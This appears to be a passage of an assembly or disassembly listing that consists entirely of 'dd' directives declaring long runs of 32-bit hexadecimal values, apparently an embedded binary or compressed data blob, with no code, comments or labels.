		dd 0F34E8DD6h, 0DE8CADh, 258B5967h, 0CBEFB91h, 5021C607h
		dd 28F0B256h, 0FEADB5DDh, 76D0FB59h, 30D11E20h,	0D5C5876Bh
		dd 751C5081h, 1EC339CFh, 80B1D62Bh, 0FD9B7Eh, 10E87349h
		dd 1EBB92D4h, 6328100h,	8E004E4h, 0D81F00DCh, 0A8F355D3h
		dd 0C4003121h, 0D6BDAEFBh, 9820A9Ah, 5FFE65CBh,	4F1A180h
		dd 5802EA81h, 0B3542F78h, 2ADDE0C4h, 0F5C20216h, 5F2664A2h
		dd 8A9360E0h, 831E4712h, 18446700h, 2E6689F7h, 30FC27Fh
		dd 0A4504824h, 0C9F858E0h, 6205D00h, 75894EF0h,	0F64A05BCh
		dd 0C0762CB4h, 0C7B3466Dh, 9D0F5000h, 1F2F2D82h, 5A901E55h
		dd 0EA484097h, 0CE223746h, 750058F4h, 196577EEh, 514B011h
		dd 3B398285h, 0B0AF8718h, 45807534h, 1AC5EC00h,	0EBE0176h
		dd 0CA020061h, 0D9A4AF06h, 0FE730D13h, 0C7958600h, 0AD775304h
		dd 5F8B00AEh, 0FB7D80C2h, 0CDEE88F0h, 2F008D7Bh, 0C715C663h
		dd 0B86F110Dh, 0E4101201h, 0BCFA0282h, 7E609D2Ah, 0DA0333EAh
		dd 7468C075h, 0C03FB331h, 35817A9h, 3E7995CEh, 1CE07567h
		dd 0F35EE26Fh, 0DC00F5A8h, 5114F669h, 4800B7DFh, 268DD83Bh
		dd 7A011A1h, 0AF07BA12h, 0D4F17174h, 7D85E454h,	5C38591Eh
		dd 0CAF23F00h, 1E74032Dh, 8562CCD6h, 0C09118AAh, 645A0A94h
		dd 3EC510Bh, 454500B5h,	1E05BAD4h, 5077D2Eh, 0FEAA81C4h
		dd 0C0FD2FC2h, 0E3AE87h, 0CAB541Ch, 6238FE95h, 0A032D32Eh
		dd 0FF22B400h, 0EE7384h, 0B0109C72h, 4BE7E968h,	8D2B60FBh
		dd 91DD9500h, 8C2E63E1h, 931313F0h, 420F003Fh, 0A6B1EB70h
		dd 0E7772200h, 0C75F4086h, 2C835C90h, 0C049F21Fh, 6A138C23h
		dd 0B500F4EBh, 7385DB51h, 16BA0221h, 0CAB4F2h, 53222A75h
		dd 0D800720Dh, 52C38A1Ah, 72865E01h, 0A76900E9h, 80D7B021h
		dd 334CCD38h, 401100B1h, 742E120Ah, 94D80066h, 0E0F42201h
		dd 1700FFFAh, 0C01D7525h, 0F467FE50h, 837713h, 0B2C9BF02h
		dd 0B152535Ah, 8AB32100h, 80C1B75h, 64560797h, 0E0D3220Fh
		dd 9E060DC9h, 5CE22B00h, 982D14E5h, 743300E9h, 4F9F6828h
		dd 5EF6FB42h, 0AA195507h, 3FAF18CBh, 463264C1h,	29EC4B35h
		dd 0F17B00ECh, 8BA1A490h, 82039F1Ah, 2717677Dh,	7F319177h
		dd 2E7142F8h, 0A07BEh, 66A01D8Bh, 79003064h, 0F6035FF8h
		dd 7AA1C6B8h, 5C97009Ch, 0D82E53A3h, 4D0B5BD0h,	0A94210h
		dd 4A445A6Ch, 9BBA1DCDh, 0CBA600C3h, 0FAE6C47Fh, 2FFB9E03h
		dd 0E01A57FCh, 293865h,	0D8DB3BA7h, 345D36E3h, 6C12A5EEh
		dd 0BBF49Bh, 6A0FE00Eh,	0EBEC9D01h, 1A0A9900h, 0ABC48688h
		dd 6753A29h, 0A1BD9000h, 0CAA73D68h, 0A8155D01h, 0B2BBFB92h
		dd 0EAD7C0h, 994AD02Dh,	0A436A010h, 763E8800h, 7D540AFDh
		dd 385F00BAh, 0B805D5E7h, 0EFA058CCh, 1CE2158Ch, 2CDF8900h
		dd 0B50ED494h, 0B0930383h, 0F0B86D5Ah, 2B89EFB0h, 59F46A00h
		dd 0E20E53F8h, 0EC480022h, 63C5035h, 0CE0FA63Dh, 0A0A11328h
		dd 0A03EBC96h, 0FCA4001Ch, 60C40647h, 0F24C3468h, 7890326h
		dd 0C0BBFD85h, 0BC5C58h, 0C275F803h, 0D35BC068h, 0DF29BF00h
		dd 669CDC88h, 7CCF842h,	6C4617B6h, 0A034B021h, 64394C9Eh
		dd 0EC62003Ch, 0D5F8101Fh, 27973A4Eh, 0F0F47AFFh, 48EE0Dh
		dd 0EF38DB79h, 0E552EE19h, 8F02333Dh, 0E1644414h, 4CE36837h
		dd 13AEDCCh, 54203D61h,	0F8430C7Fh, 8FA34B1h, 0C422B900h
		dd 0B32BAB2Dh, 0BB580012h, 0D6154E25h, 1D7F943Bh, 49792AC0h
		dd 72656B3Ah, 5E3C2466h, 36B401F3h, 302CD94Eh, 19074246h
		dd 82EB9A90h, 2A230360h, 584507B6h, 0B301B7AAh,	1EE83724h
		dd 62126A99h, 0B90136A7h, 4B03A045h, 4E52D0h, 7CF04C9Ah
		dd 9ED4475h, 0A954F513h, 419ED900h, 1CCA56DCh, 0C01C4950h
		dd 745F6547h, 0FCF161EDh, 7A037B64h, 20C37371h,	0BF69D852h
		dd 78450091h, 66DDF663h, 4CFCA0D3h, 73007CFCh, 4518F99Dh
		dd 0F0106D53h, 31880024h, 0C9028B62h, 3B00082Dh, 0DDD6F8E1h
		dd 0AD8D79h, 28FCD489h,	9C3A7D72h, 572EEA00h, 86CA3E62h
		dd 0C9113EF4h, 0EFE20683h, 26B05C78h, 5812753Dh, 9E008415h
		dd 0C74A8B28h, 11E21E3Ah, 0E8C000A5h, 0C4EAEF27h, 0D22E4F00h
		dd 2071740Ah, 7D7E02h, 0F9EEE7E0h, 453DB664h, 0C42A0800h
		dd 0CBC70D14h, 439E00D6h, 3F816605h, 0FD0025FFh, 26E83DD2h
		dd 1C6CEFh, 1E389507h, 0AA2769C4h, 0A6D6241Dh, 0E0E85A8Fh
		dd 0EE3AE1B5h, 91670053h, 0C64E3E10h, 3F034F55h, 4B7AD2B1h
		dd 0D875CBC9h, 0C3FA50h, 6F0032Ah, 26F3F85Bh, 80CE103Bh
		dd 52E22C92h, 0A46DA7h,	0B3446BEFh, 0C308BB43h,	0CA535026h
		dd 0F53B1700h, 0E68B828h, 0D2395411h, 89782B40h, 6A000AC8h
		dd 0A7B052B2h, 7CA10974h, 0EAD1F4CEh, 713800EBh, 0BD5EBFAAh
		dd 9007D0Eh, 5478D68h, 0FE63ECE2h, 0D52C0378h, 0A06171Dh
		dd 0C20146F0h, 6900E8ECh, 1505ED39h, 0FE388934h, 65C31FBDh
		dd 6581E542h
		dd 0E0A00E6Eh, 2B00DE8Bh, 81E41C5Dh, 714FBh, 646885BDh
		dd 162F8629h, 8AEAAC00h, 0E455121Ch, 4A4800F7h,	278358E0h
		dd 2B3B04EBh, 5F9E9F68h, 7D19F3C0h, 0F05497h, 0B4517F52h
		dd 38783644h, 324638h, 33D08B56h, 0FEBF6h, 80068A7Dh, 5742FF9h
		dd 5C5F0A00h, 42F29007h, 0F3A00D7h, 0ABD0EC09h,	0A6000354h
		dd 0FCC34A5Eh, 7C75F7F0h, 17E51753h, 42470030h,	0B8A0D73Ah
		dd 0DF822900h, 0FCE488D1h, 7E3700BEh, 95EB1C7Bh, 177892F7h
		dd 0DA19A10Fh, 3CA900EDh, 0FD3E8Bh, 9A708845h, 0C94F943Ah
		dd 1241520Eh, 0F4538024h, 284ADCh, 6389E2C1h, 3C7B8E5Dh
		dd 3B7CE800h, 5C033A78h, 1D1C003Fh, 40F61304h, 5F0B148Fh
		dd 34A5A5Bh, 0F16886E4h, 6520C13Bh, 0F0A61C8Ch,	209FBD8Eh
		dd 0D9B5001Ch, 301BAD96h, 0BE95D500h, 4A4D8EBFh, 687F3F73h
		dd 0C49D5100h, 45EB3E70h, 34A97D0Eh, 35C07EE4h,	2147D3BDh
		dd 506F00E0h, 2F58107Ah, 93F8B702h, 0FEE96E05h,	0CB010FFFh
		dd 0C231A26Ah, 0C0428820h, 2E06BA34h, 0EEFF23A3h, 0E59BC05Fh
		dd 0F8DC00BBh, 0BF94B054h, 5B0263D0h, 78DFE964h, 322861ACh
		dd 1331803Bh, 0EFFC6C75h, 625C2300h, 0FDFB447Ah, 0BEE70361h
		dd 0BB4EDF1Eh, 792C63F8h, 0F86D5E1Dh, 202ED980h, 0F72A6Bh
		dd 4C7D62AEh, 7986E34Fh, 6DDCE03h, 0D8ACF63Ch, 641A53h
		dd 0B38D702Eh, 14B67582h, 52509F07h, 0FBC15DCFh, 0B9EC4E78h
		dd 0F88400F0h, 6BB453FEh, 74039714h, 0FABD0DA7h, 48C2F81Fh
		dd 0E8830002h, 30B83AA2h, 202C264Bh, 0B501D512h, 762C4306h
		dd 0F00A89D0h, 0EF6D099Bh, 0D88029FEh, 66C78B3Fh, 547E9AFCh
		dd 0A9165Ch, 55FC4492h,	51930Fh, 0CF10B22h, 16F8678Bh
		dd 0CFBE7503h, 0B0381ACEh, 0C0103Ah, 0FE124B1Ch, 74C9DD6h
		dd 7D00ADB0h, 0CB51ACFCh, 972F10h, 4F022944h, 7E12A90Ch
		dd 8F0B870Fh, 31F9802Dh, 1CE3543h, 9422274h, 0D9192436h
		dd 0E910D137h, 1C85E83Ah, 83B8B73Eh, 8CEC7DC2h,	33C0EFA5h
		dd 0EF57519h, 4D88982Bh, 8669680h, 553D4126h, 0EB3B9C4Bh
		dd 39F98443h, 8AEA0715h, 70F8AB27h, 4B8296ACh, 4A337C00h
		dd 0F2F5EB8h, 51760084h, 38F1DFABh, 413FAF98h, 2CB9C7h
		dd 951DAC9Ch, 0E106097h, 5EFF483Bh, 8D1C3040h, 0DF7A0853h
		dd 0C1E1500h, 0ABF656Eh, 4A4B00EBh, 42203911h, 0E526695Bh
		dd 0C80001C9h, 0F32D91Bh, 79E005Ch, 830E731Eh, 8D3E0401h
		dd 0B490F485h, 8074F83Fh, 0DC8265BEh, 0EDB71069h, 774BC0h
		dd 155C81Eh, 0CBD52EC9h, 0A2F91600h, 64146E09h,	7507846h
		dd 70965534h, 0C6B75160h, 3ED7F092h, 0FCFC73Fh,	61E9E0E5h
		dd 6C79FE9Fh, 1FC5E2C4h, 0C0146A43h, 0E958C08Fh, 1CB82EF1h
		dd 5C087D00h, 3F840ADh,	0B93500B4h, 0EF8B0689h,	0A5EE795Dh
		dd 4B437000h, 460307C0h, 0C3E0048h, 0F02B0A33h,	0E800244Ch
		dd 592556AFh, 12EB007h,	0C8471F8Ah, 0E44E4034h,	49004423h
		dd 16051F2h, 71EBB1h, 37195E3Ah, 2A41775h, 50A08900h, 2ACAD555h
		dd 7F230F40h, 0CF40D82Bh, 38C852EBh, 907C3903h,	0BF366425h
		dd 1A296A80h, 185FE17h,	72F107A6h, 0D08E924Dh, 0EB007534h
		dd 0D04AD58Bh, 20BA61h,	0E36E9E65h, 408D85E1h, 80CFAA00h
		dd 423F3908h, 3A980F59h, 0FCBDE03Ch, 1B1FA2BCh,	0C8D6ADB2h
		dd 8A904E07h, 0C03EE6F0h, 82060050h, 12AEF392h,	0BFFE0156h
		dd 30FB6C00h, 2F144184h, 4C453E06h, 0FA950072h,	0C3F43CE9h
		dd 3A00EEDBh, 100821FCh, 75188A74h, 931C0205h, 9BE842BBh
		dd 40F59061h, 59C474DFh, 13305F1Fh, 0F8E895DEh,	0D9008275h
		dd 202ABF22h, 7AED0Eh, 59D474BDh, 1C9AAAD7h, 5424D207h
		dd 0F5407F82h, 7995ECB4h, 0FC21771h, 20860F76h,	9FAB7200h
		dd 0DC5EE051h, 0EEF1B5F1h, 857C0A80h, 4190B138h, 89B62B00h
		dd 276EAED2h, 8178B7h, 1DC2881Ah, 0F222287Dh, 0A84ACE00h
		dd 0FDBD11B9h, 0B80B004Bh, 0A443465Ch, 10009AABh, 0BC998EECh
		dd 0C7555Ah, 8870540Eh,	3C9EDF8Fh, 0FF72E300h, 5DADC815h
		dd 0F9340031h, 7F1CE17Eh, 7300E90Eh, 0ECED33A5h, 0FC0C8BA9h
		dd 5C490036h, 12401D4Dh, 0E00BCC7h, 590546A1h, 3D8F6F11h
		dd 7222DCh, 0AF202414h,	0E8DBF93Bh, 468CF50Ah, 0DF05FE52h
		dd 51C71021h, 74288D30h, 6C030337h, 0E365FDCEh,	22261993h
		dd 52005D08h, 1666C4FFh, 42770004h, 0FD2AFBF8h,	111F32E3h
		dd 24400846h, 0BF2B4822h, 708B0044h, 2CEB256Dh,	4E00A471h
		dd 832019DFh, 79935145h, 0C0394B13h, 9216B691h,	60230400h
		dd 0CF542846h, 6AC50059h, 57AD8083h, 9700E0B6h,	5FEB2CF9h
		dd 117865h, 0BFE65AF1h,	0BB245818h, 7C8270BFh, 827C1CE8h
		dd 2FC640A1h, 0B503A39Ch, 0D7094673h, 8115A925h, 132C010Bh
		dd 204C8h, 33740B72h, 73B6C0FFh, 4F80E900h, 0CC35C937h
		dd 0EC680050h, 0C70328C2h, 0D0097DCh, 66B71348h, 42F75Dh
		dd 3785E9B1h, 0ED20CD6Ah, 0B551800h, 7A044908h,	5F2400D5h
		dd 39076010h, 50008402h, 56404D11h, 1E0A4218h, 8069EB68h
		dd 1032C765h, 481DF259h, 3FC10C50h, 9D423541h, 54B5F0h
		dd 57C1564h, 51E4B816h,	0FC30D205h, 90B0897Fh, 0ABE80041h
		dd 59FFDE38h, 51E2109Fh, 60F06D00h, 36F79720h, 40487A40h
		dd 26513C92h, 0DC883081h, 84C95600h, 0CEAA34D6h, 7FBF60Eh
		dd 1FF200Fh, 558DB13Dh,	80A54724h, 13FA8347h, 0BF089916h
		dd 438CA500h, 110C648h,	0AD4A3063h, 0E8A8C40Eh,	0B2002A69h
		dd 66771203h, 1DE740AAh, 7D957489h, 4FF00D80h, 2032C175h
		dd 6C013Eh, 29BCC951h, 78910868h, 3C960014h, 850D2833h
		dd 253E3DEDh, 0B92200DBh, 3A15D973h, 0DAFC20h, 5F13F516h
		dd 0A5AF27CCh, 0FF307500h, 5D5AFC61h, 0D0FD073Fh, 0B01A37B2h
		dd 0F1AFECB7h, 0BD55B00Eh, 0C5D9A02Fh, 4F94708h, 296145E4h
		dd 808B8549h, 9B4482D3h, 0C489AE01h, 0F324DA12h, 84AE0E7h
		dd 38913922h, 7FA551BCh, 0F812D783h, 0FD4B31E0h, 88C59701h
		dd 217E3B6Ch, 6580898h,	0E0001486h, 0A9298E0Bh,	3F407DDCh
		dd 82804AEFh, 1F06BA9Ah, 0C53ADA2Fh, 0D0CE05A5h, 58EC69F8h
		dd 1DC7781Dh, 0C1E54043h, 7E8E0C08h, 94C5DE00h,	0BBB32927h
		dd 5CB10F66h, 4A606FBFh, 95FD7A2Eh, 7ECE42ECh, 7CEB8717h
		dd 0E4C2B5A0h, 43480047h, 580E11DDh, 8005104Dh,	8DFCA54Bh
		dd 0A2B380FBh, 9000A45Ch, 0EE0BB33Ah, 2BEAA0h, 4B8A2FF4h
		dd 74CBA8D9h, 575A0F00h, 0E8F64E0Eh, 7FED0024h,	5DC62CBCh
		dd 0CF7D6D08h, 3DE2183Fh, 271F7EDBh, 444E8EFAh,	3B974014h
		dd 1A1822h, 507E10B2h, 933E91ACh, 0FC147B00h, 0E0CF203h
		dd 18320070h, 1BC96806h, 243EE58Dh, 45F80A7h, 27BE3816h
		dd 42A900F5h, 104759FBh, 0D20E4EC6h, 20761A3Ch,	85EA1465h
		dd 0ADD63BABh, 0F3CE4F04h, 36608156h, 7303E006h, 5706C00h
		dd 7868CB77h, 0F5740F4Ch, 27A0B3EEh, 56247614h,	40E59D03h
		dd 0B04ED74Bh, 734CC811h, 53C30042h, 49D82A21h,	770740DEh
		dd 3EBC5193h, 740130E0h, 7B830063h, 5DB3C36Ch, 14000C20h
		dd 81185740h, 1F1C0251h, 40084B04h, 0FA8B4507h,	14046B22h
		dd 80E0F992h, 763F8680h, 0EEA002Bh, 497444F6h, 0C90AFCC7h
		dd 9166D8A8h, 1CC1949Eh, 55DF10E2h, 77706871h, 60EA4Dh
		dd 0D57756A2h, 0A328E853h, 0EA43D00h, 0B0744301h, 0E3BF0092h
		dd 90AD9344h, 840080F3h, 1B6E7821h, 72997E4h, 0D69C0979h
		dd 421C8028h, 27038C3h,	9678732Eh, 6B1EDD00h, 201018h
		dd 0EB7C74A7h, 0BE433D23h, 577622E8h, 84932700h, 0C697515Bh
		dd 4C7200EFh, 0D2077844h, 0F800B303h, 384E31C4h, 0E9088D9Ch
		dd 0EE4B54D8h, 0CA201FF3h, 0A0594169h, 4070211Ah, 326A9B05h
		dd 6CA2E407h, 0ACB0A943h, 84258Ah, 5419A457h, 4D68809h
		dd 0BA442039h, 7826DC5Ah, 85CCC00h, 97948C9Ch, 80960041h
		dd 14819844h, 38000988h, 1C08119Ah, 467FE8h, 109BB802h
		dd 29A27436h, 8F32093Eh, 0C7A6219Ah, 0F830C458h, 0E9006C3h
		dd 0C605111h, 87B009A0h, 460410Eh, 7171860h, 0A13600E8h
		dd 8C1B0C02h, 1A00DC10h, 21CCB408h, 0EAD40984h,	3A47519h
		dd 201F4050h, 0D8F38088h, 23D0F0DFh, 1100A081h,	4022E34h
		dd 0E82F7C22h, 5446004Ch, 9C49932h, 800516Ch, 22A4913Ch
		dd 5C2074h, 942C4457h, 0F8116489h, 0BC026600h, 6239DC26h
		dd 100900ACh, 52E00353h, 5A0E7933h, 0AF495931h,	90C0204h
		dd 0F460C124h, 7B38A320h, 0A8086164h, 0D4204137h, 0B10ECCC6h
		dd 66B8CB40h, 0E8C88D2h, 980870C8h, 11DC84E0h, 0CC1D1B48h
		dd 873FD9E0h, 1059E744h, 21F96050h, 2A18001Ch, 0CC29ECA8h
		dd 11315408h, 2B744824h, 0BE2330h, 75D17632h, 14EC6405h
		dd 4AC7ACB8h, 2670023Fh, 7A6359ACh, 0A828007Ch,	0A7C43818h
		dd 5B00F008h, 0F411C081h, 0A021B15Eh, 3026295h,	4C70253Ch
		dd 0A8D1409Ch, 50437089h, 2007657Eh, 58488824h,	51766CF1h
		dd 74A46C80h, 0AC12DC89h, 6DFC2212h, 20462C00h,	0C64B972h
		dd 58755171h, 810AA3B8h, 0D5891744h, 0B8261D00h, 1E117CC6h
		dd 9E43554Ah, 0DA440B4h, 4707E817h, 0E170280Eh,	6AC24225h
		dd 0A787F7D0h, 0DD010ACCh, 1C32007Ch, 0EC08B13h, 1558408Dh
		dd 0C6010013h, 31181F84h, 821000Ch, 32032480h, 52E048E6h
		dd 746E7500h, 20656D69h, 0E27200E4h, 83DAE76Fh,	0EAFC6101h
		dd 863B3000h, 18455140h, 80112DBFh, 80191B57h, 0B5413938h
		dd 57805E5Ch, 0DEC0120h, 0A00A1D55h, 58C5C14Eh,	319C0C56h
		dd 0F8AE31B8h, 1007D430h, 1FC1F927h, 0F3911C23h, 0E20AD81Eh
		dd 1897001Dh, 7CF001ABh, 6C00A466h, 105AE433h, 0B70907ECh
		dd 3896DEh, 6C05265Ch, 4C185B66h, 7C006F74h, 128C8984h
		dd 9C092494h, 8791A448h, 0BCF3B475h, 0FBCCFBC4h, 0FBDCFBD4h
		dd 0FBECFBE4h, 4FCF8F4h, 0C5C0140h, 1C121489h, 2C48C424h
		dd 22349107h, 4C17443Ch, 0F81754F1h, 6CED64EDh,	0F67C6F70h
		dd 8C120584h, 824A9424h, 0BC80E5BDh, 5390408h, 8E641C00h
		dd 6A236547h, 5FA83E89h, 48605403h, 0C0F75808h,	6411610Ch
		dd 0E2BCC803h, 0B0316214h, 46801Ch, 88E02363h, 38C46494h
		dd 1FEC7200h, 306548E2h, 8C5E00F0h, 11660423h, 100D560h
		dd 37842A93h, 0E500D14h, 4B4A4847h, 4E4D4C02h, 534705FFh
		dd 585737C0h, 0A056005Ah, 454104ECh, 4F1C6A49h,	6301B811h
		dd 68676664h, 6C6B80EBh, 0AF6E5A6Dh, 74052F00h,	17A7877h
		dd 61200176h, 606F6965h, 9160B998h, 0C4A010DCh,	0A7AC0022h
		dd 0C6E80901h, 740E84AAh, 0E0315132h, 71B09840h, 9EB0FFh
		dd 0C8101101h, 30912009h, 44312200h, 2F388C34h,	69070041h
		dd 33E8C79Ah, 0B001E90Fh, 19F3F0F2h, 4520A490h,	1D2B90B8h
		dd 0C0F822D4h, 3C45581Ch, 741724DEh, 30408C48h,	0ECD444BCh
		dd 59040288h, 34121881h, 6420FA8Eh, 94227C91h, 0FFA84407h
		dd 0C9001F7Eh, 0C1BD8Dh, 9B382F3Fh, 6B707AFEh, 4B3E1D00h
		dd 0AF51C049h, 391A1CB6h, 931500F4h, 1B926CB0h,	5B78B424h
		dd 95553B00h, 708436F7h, 86B8E4h, 0CE0D4AD2h, 0F501DD09h
		dd 0E3CD5300h, 601DB413h, 0F820006Ch, 0A4225027h, 24009B03h
		dd 41659885h, 0F95018Fh, 728409E8h, 70589907h, 4070084Ch
		dd 8900737Fh, 0C5FF1C88h, 7CA3F003h, 75C80021h,	0A43110BEh
		dd 0A67EE408h, 1933D001h, 70EC09E0h, 0BA740D4h,	0F849CCC8h
		dd 90D7A287h, 0AD0A802Ch, 4A96C06h, 3E60A5FEh, 248EA838h
		dd 68E35409h, 84B87412h, 0B5A89048h, 0C80345B8h, 964C033h
		dd 0EB32EB21h, 4442E83Ch, 0B35A0350h, 0D2C08A24h, 3E08B590h
		dd 152981Eh, 3020779h, 6020504h, 0A266007h, 0D0C0E0Bh
		dd 10400E0Fh, 7894389Ch, 0A403BEBAh, 0C401811h,	0C40B99B4h
		dd 7BD02620h, 310D248Dh, 105C030Eh, 0E09B0E34h,	2001C0ACh
		dd 90E61294h, 0A8021376h, 1A6C3616h, 9C2D6019h,	1F401C80h
		dd 7022C184h, 0F77811CCh, 0A024B1D7h, 0C826E488h, 7A279924h
		dd 20192801h, 6E8954D9h, 3B003160h, 10012E34h, 3C033F1Eh
		dd 0E0EC118Fh, 0B0023308h, 34483E22h, 2F6892h, 2C36317Dh
		dd 9009937h, 0C1399032h, 1EC4023Bh, 0C0B4063Dh,	5C874C3Eh
		dd 400C8CCh, 0B15A448Bh, 37714B0h, 639C1864h, 0E9B03038h
		dd 311FDC73h, 700019D4h, 785DD9BEh, 0F284E89Eh,	20AE0004h
		dd 79CC6398h, 0C4CA2E4h, 4411003Fh, 399C5676h, 995C3A66h
		dd 6C5D798Fh, 0D1F5DDC2h, 0A1E05760h, 3652400h,	0C4793310h
		dd 4807519h, 0DC592CB1h, 12218022h, 422486E0h, 0D200B088h
		dd 5C809219h, 9300053h,	3C247214h, 89161260h, 6003992Ch
		dd 0A8A5D481h, 0E2195C2Eh, 442000Ch, 9948515Ah,	0D07411BCh
		dd 0F9C4B93Ah, 26D9A500h, 65193440h, 5809007Ch,	0D4889C12h
		dd 0A000941Ch, 604A90EAh, 366AC2Ah, 41500998h, 8DC057F7h
		dd 0D9F82808h, 49145900h, 9FB4298Ch, 3C313E33h,	2060A987h
		dd 4C7470C9h, 441F6FF4h, 54C1D939h, 91282999h, 0F0C2C07Bh
		dd 250CA49Eh, 129CC419h, 32BF00E0h, 0A514387Bh,	1B584CACh
		dd 69C6015Ah, 885BC33h,	1134F8h, 0D8A4F904h, 1C94A9DCh
		dd 4C619901h, 49883C09h, 0C9083F2h, 4BFBE8D9h, 20460079h
		dd 66107A30h, 2C3A51E4h, 3FB4C841h, 6875F45Ch, 58037FB0h
		dd 94D31287h, 549A0E60h, 5CE090B0h, 0B466B896h,	6C61A973h
		dd 0CC5211ECh, 3106730h, 94B059F2h, 70C00C84h, 2390B199h
		dd 995AC00h, 74329CDCh,	258C0261h, 20D84C2Ch, 90A4B740h
		dd 0C6FC9600h, 786A59C0h, 0D7011E41h, 1B7257Ch,	5BEAC55h
		dd 91934C87h, 70539190h, 1800869Eh, 0AC562096h,	0FA5EC814h
		dd 9EF205C0h, 807CD024h, 8FEC978Dh, 110088F8h, 0EE1920Ch
		dd 2C0298h, 9A4E203Eh, 9CC8B047h, 0DAF13CC0h, 2C08019Bh
		dd 3F961E93h, 1EC41093h, 0FA1887ADh, 995AF0B1h,	93E7031h
		dd 24A08088h, 91D448B8h, 0F22202E2h, 400CFE44h,	32896A60h
		dd 2425127Fh, 9FA07554h, 0A290447Eh, 0C8FEB4FEh, 0F0FEDEFEh
		dd 9520B81Fh, 3BCF74BDh, 0C04CCF3Eh, 22749158h,	8196FE86h
		dd 0BFC0FDAEh, 0BFDEBFEAh, 2BFC89EEh, 1973870Ah, 0C03611D2h
		dd 302944CAh, 807D1452h, 5B89053h, 0C20CAC7Dh, 28E489D4h
		dd 41400F4h, 268C1C97h,	27B83411h, 4C00427Eh, 64445822h
		dd 0C020A672h, 0B889A884h, 2430CC12h, 9823BFE0h, 111C1819h
		dd 223A522Ch, 5E444A05h, 3BC0897Ah, 0FB424A4h, 0D491C448h
		dd 0F0E0E2EFh, 991688FEh, 1226810Ch, 5CF53Ah, 82226E91h
		dd 89AA9844h, 0CA54BA7Fh, 0FEFEF297h, 9A0C100Ch, 0B329422h
		dd 0AC468A40h, 96C5A80h, 107DA686h, 89BAA805h, 0D19013CAh
		dd 259BE0F0h, 7F800E81h, 914E483Ah, 6E03607Fh, 898C8044h
		dd 0F8AEFB9Ch, 70154C8h
		dd 0BF08E429h, 1E11C023h, 0AEA22C32h, 4F64EDA4h, 3E7E2C74h
		dd 0A612009Ah, 3430B025h, 7200656Bh, 6C076E73h,	2E3233h
		dd 10D45E64h, 7487473Eh, 0C9789Dh, 0E66ECE1Eh, 1C0C6854h
		dd 49646117h, 446DD300h, 0F83046h, 69757243h, 617B63E4h
		dd 0EB537E00h, 6E6F108Ch, 0CA4C2E31h, 56170067h, 7EDA45E0h
		dd 1895B000h, 27B6499Dh, 7AFC0124h, 566735A5h, 75EC43F7h
		dd 0EC46FE00h, 41A20E34h, 6F960382h, 0D5E8C663h, 19DA1CD0h
		dd 0A6001AF4h, 0CA51742Ah, 1079E4h, 64695706h, 61683EBCh
		dd 0D0548325h, 1D6C00F1h, 287942B8h, 0C03AE34h,	98212ED5h
		dd 7773F02Dh, 0DAA00074h, 4CE1416Eh, 3E00630Ch,	87FD7970h
		dd 17AD23Dh, 18740648h,	0CB726269h, 612445F1h, 32E9CCB4h
		dd 899B1D00h, 531223EDh, 88BA0097h, 0AE27094h, 417C6F66h
		dd 72504300h, 64713E7Bh, 735200CEh, 4DC73634h, 8700FA6Fh
		dd 61488E3Fh, 0CF96Eh, 18144F41h, 4E086946h, 6D0057F8h
		dd 565A5216h, 0F412544Dh, 459403A0h, 0E4A6DC72h, 6DD35390h
		dd 0A3938E00h, 3552A59Ah, 751B3F25h, 2C0E1900h,	0ED08BE64h
		dd 4D18B0E8h, 419C426Ah, 0FA730032h, 0D33EC72Ah, 9900569Dh
		dd 0A98A5724h, 0F19B080h, 0A6686E55h, 46B2E7C0h, 440E703Ch
		dd 0C033DA99h, 145374A4h, 501A0926h, 0B800946Fh, 4F5C4562h
		dd 3D9A6600h, 8CFFE0C3h, 0D4770082h, 1F490CD3h,	7B041857h
		dd 52F0ABF3h, 0A23066C0h, 90C6B864h, 2DA100A0h,	227AD153h
		dd 79288A4Eh, 6D0096BCh, 0E97E6954h, 0F8C44F1Eh, 43220070h
		dd 38527A4Bh, 0D47194D9h, 75CC4900h, 0CA9B7214h, 324B0367h
		dd 0BE406279h, 3AA664D0h, 3501917Dh, 6EEF05EEh,	4DE80A67h
		dd 619E00FFh, 6F428ABAh, 0A6024878h, 7D4E9F11h,	0C80943B6h
		dd 3F29767Bh, 4AA46970h, 326700F2h, 9143565Ch, 20E4D00h
		dd 9A4F29D9h, 0C06E39A6h, 21D41300h, 8723DB89h,	58A7A00h
		dd 29747561h, 70B50740h, 80A00DE4h, 0C4F0A9C3h,	2C0E66F4h
		dd 0A0986F16h, 64534977h, 7F9A0028h, 3905E4Ch, 0B009ADACh
		dd 844DE965h, 0BBC7E5B0h, 458C02Eh, 0A525D4h, 548FCC8Ah
		dd 542849Ah, 9100B8E8h,	591B470Eh, 15DA4Eh, 677A66C5h
		dd 2A1749AAh, 9FE1B400h, 24125628h, 0DE4C3F41h,	0ED641400h
		dd 60934092h, 0E2CF5300h, 70476D75h, 54F6006Ah,	0EF5210B9h
		dd 536EC558h, 4C11A07Ah, 3D0A599Ch, 3B9D3351h, 90084150h
		dd 0C463CADEh, 772636B7h, 0A500C571h, 0C105C91Ch, 0F9D0075h
		dd 0C4D42873h, 42EC49C3h, 889022EEh, 0B4745900h, 0AC62E499h
		dd 322100F2h, 10946BF3h, 0EA7404B1h, 1E184CECh,	0A956F5F6h
		dd 134900B5h, 6D0ECCC7h, 330114F2h, 5622D687h, 0E0403141h
		dd 149738Bh, 0A85D261Dh, 0E4DC3DA5h, 8D01E5BCh,	0CE4E456Eh
		dd 12D4EDBAh, 8ACB0095h, 8B4428EAh, 91E7658h, 0FCA4D5h
		dd 0CC6B1E84h, 73F70DAh, 41256361h, 0F22EC097h,	5D005051h
		dd 93C077A2h, 0F4431923h, 219B0FE7h, 4480587Ah,	696F76FCh
		dd 24DF3E00h, 5288369Eh, 7E6C755Dh, 339300ECh, 29E93F26h
		dd 0A2309C41h, 9DF4085Ch, 62450F5Ah, 0A5A3A7C8h, 0DFE8E51Ah
		dd 53092084h, 8002574Ah, 0E65477DCh, 12A7075Bh,	0FF825014h
		dd 6C440580h, 0D5004967h, 252366EDh, 38699FA0h,	9480B970h
		dd 0A276B444h, 0D1FC426h, 0BC0315AEh, 0D0D8EF5Ah, 2A2B78h
		dd 1E324693h, 8FA6C241h, 6200CAE4h, 0D3EEA4EBh,	2658664h
		dd 57E08A63h, 0FD80D484h, 70412032h, 2990A605h,	41C0BAACh
		dd 9C9BA8h, 672A3EC8h, 1BB9D40Ch, 26240AB8h, 2B033D6Dh
		dd 0A3144EADh, 0EA5DA895h, 77F7958h, 3250F10Dh,	88222031h
		dd 0B41D2CD4h, 0F3E63CA1h, 60BC1207h, 6D804795h, 3A644Fh
